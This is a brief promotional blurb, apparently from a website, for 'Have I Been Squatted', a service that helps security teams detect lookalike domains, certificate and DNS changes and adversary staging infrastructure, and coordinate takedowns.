Detect adversary infrastructure while it is being staged.
Have I Been Squatted helps security teams detect lookalike domains, certificate and DNS changes, and staging infrastructure, investigate the evidence, and coordinate takedowns.